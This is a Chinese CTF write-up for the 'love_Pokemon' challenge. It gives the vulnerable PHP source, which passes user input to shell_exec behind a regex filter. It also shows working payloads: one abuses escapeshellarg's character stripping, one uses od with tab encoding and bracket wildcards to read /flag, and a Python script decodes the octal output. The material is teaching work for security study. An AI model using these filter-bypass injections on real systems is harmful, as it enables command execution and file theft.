首页 > 其他分享 >RCE_sample_ctf_questions(ing)

RCE_sample_ctf_questions(ing)

时间:2024-11-19 17:18:24浏览次数:1  
标签:dream flag sample ctf result 字符串 RCE Pokemon md5

[广东强网杯 2021 团队组]love_Pokemon

考点:

  • 函数escapeshellarg/escapeshellcmd绕过正则匹配
  • 文件查看指令+通配符绕过正则匹配
点击查看代码
 <?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
    mkdir($dir);
}

function DefenderBonus($Pokemon){
    if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
        die('catch broken Pokemon! mew-_-two');
    }
    else{
        return $Pokemon;
    }

}

function ghostpokemon($Pokemon){
    if(is_array($Pokemon)){
        foreach ($Pokemon as $key => $pks) {
            $Pokemon[$key] = DefenderBonus($pks);
        }
    }
    else{
        $Pokemon = DefenderBonus($Pokemon);
    }
}

switch($_POST['myfavorite'] ?? ""){
    case 'picacu!':
        echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'bulbasaur!':
        echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
        $level = $_POST["levelup"] ?? "";
    if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
            echo file_get_contents('./hint.php');
        }
        break;
    case 'squirtle':
        echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'mewtwo':
        $dream = $_POST["dream"] ?? "";
        if(strlen($dream)>=20){
            die("So Big Pokenmon!");
        }
        ghostpokemon($dream);
        echo shell_exec($dream);
}

?>

题解步骤


1、审计代码-根据提示查看./hint.php

payload - myfavorite=bulbasaur!&levelup=lv%81100
image

提交payload可以看到hint.php文件中给的提示:flag在/flag中


绕过原理

参考文章:https://blog.csdn.net/m0_75178803/article/details/134987976

函数escapeshellarg 用于将字符串转义为shell命令可执行的形式。windows-1252字符集中的不可见字符可以被这个函数消除,从而绕过preg_match



2、绕过waf函数,利用shell_exec获取flag

payload - myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G

image

获取到flag的8进制内容

原理

1、od在linux中的作用为:输出文件内容,将其内容以八进制字码呈现出来
2、%09为url编码中的空格
3、为了绕过preg_match使用统配[B-Z][@-Z]代替字符LA

3、使用python脚本跑出flag
点击查看代码
dump = "0000000 051516 041523 043124 062173 062545 034463 063144 026467 0000020 034460 032060 032055 061070 026471 030470 030544 033455 0000040 030141 034066 034470 062067 032145 076467 000012 0000055"
octs = [("0o" + n) for n in  dump.split(" ") if n]    #使用 dump.split(" ") 将这个字符串按空格分割成一个列表,其中可能包含空字符串
hexs = [int(n, 8) for n in octs]            #将八进制字符串转换为十进制整数
result = ""
for n in hexs:
    if (len(hex(n)) > 4):        
        swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)        #首先,将整数 n 左移8位(n << 8),然后将其与自身右移8位(n >> 8)的结果进行按位或操作(|),最后将结果与 0xFFFF 进行按位与操作(&),以确保结果是一个16位的数。这样做实际上是将整数的高8位和低8位进行了交换。
        result += swapped[2:].zfill(4)    #使用 hex() 函数将交换后的整数转换为十六进制字符串,并去掉前缀 "0x",然后通过切片和 zfill() 方法确保字符串长度为4(即一个字节的十六进制表示)。
print(bytes.fromhex(result).decode())        #bytes.fromhex(result) 将包含十六进制数字的字符串 result 转换为字节串。

得出flag

标签:dream,flag,sample,ctf,result,字符串,RCE,Pokemon,md5
From: https://www.cnblogs.com/abigmalon/p/18555272

相关文章

  • CTF_Web笔记_RCE
    一、RCE(远程代码执行漏洞)owasp_top_10中,rce又称为os注入漏洞。在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞。二、常见RCE漏洞函数1.系统命令执行函数syste......
  • CTF_Pwn:test_your_nc
     1.开启环境  2.解法一:打开kali,输入命令:ncIP地址端口 3.解法二:在桌面新建一个1.py,输入下列代码,然后保存文件,复制到Windows环境中。打开cmd,执行命令:python1.py文件路径注意:要实现安装python环境,在cmd中执行两个命令:python-mpipinstallpwn、python-mpipinstal......
  • Educational Codeforces Round 156 (Rated for Div. 2) - VP记录
    A.SumofThree枚举即可,是否可行只与\(a,b,c\)模三的余数有关,所以随便小范围枚举一下\(a,b\)就行了(只枚举\(1,2,3\)可能会因为两数相同而误判),这样最不容易错。点击查看代码#include<cstdio>usingnamespacestd;intmain(){ intT;scanf("%d",&T); while(T--) ......
  • 二分查找(折半查找)(内含CodeForces - 1760F )
    在数组中想要找到一个元素,我们最先想到的就是遍历数组,用if语句判断它们是否相等,但时间复杂度太高,我们也不想遍历数组中的每个元素,感觉太麻烦了。这时就可以用二分查找的方法:先将数组排序,然后不断折中数组,只需比较中值与目标值的大小,更新中值的大小就行了,这样可以大大减少时间......
  • ctf show-web57
    这题相较于55过滤了更多的东西,但是flag在36.php中,并且不需要php,所以我们需要在绕过过滤的同时,构造一个36,这里就要知道linux下的运算$(())是算术扩展,允许你对数值进行加法、减法、乘法、除法等算术运算,并输出结果。$((~$((“”))))表达式解析:$((~$((""))))可以分为几......
  • ctfshow web-75
     由于本题过滤了strlen,没办法使用web72的uaf的方式绕过命令执行的限制连接数据库查询,通过构造一个可以连接数据库的php脚本,来查询数据库内的数据try{  //使用PDO(PHPDataObjects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)  $dbh=newPDO('my......
  • R语言caretEnsemble包的caretList函数一次性构建多个机器学习模型、caret包的resample
    R语言caretEnsemble包的caretList函数一次性构建多个机器学习模型、caret包的resamples函数比较在同一数据集上多个机器学习模型的比较结果目录R语言使用caretEnsemble包的caretList函数一次性构建多个机器学习模型、并使用caret包的resamples函数比较在同一数据集上多个机......
  • [ctf]bugku逆向笔记
    学如逆水行舟逆向1、idapro要会使用。2、exeinfo Easy_Re使用IdaPro动态调试,观察esp可以在旁边的IDA-viewESP中看到 选中后,可以快速的导出为list然后使用cyberchef或者python都可以快速处理。 ......
  • vercel无法导入github项目
    背景点击import后,浏览器打开了github的项目链接,而不是有关于项目部署的设置。根据网络上的说法,import后就会出现相关的配置页面,然而没有出现下面是预想的页面然而并没有出现。解决使用cli工具。npminstall-gvercel#登录vercellogin#部署vercel回到官网,发......
  • [RoarCTF 2019]Easy Java
    打开链接映入眼帘的是一个登录窗口用admin'查看一下有没有注入漏洞,回显一直是wrongpassword这个界面到别处找找看有没有线索,我们点击help按钮看看发现有一个help.docx文件未找到报错,这里是get传参,我们试试post的传参,感觉也是比较神经下载到了一个help.docx文件,我们看看是......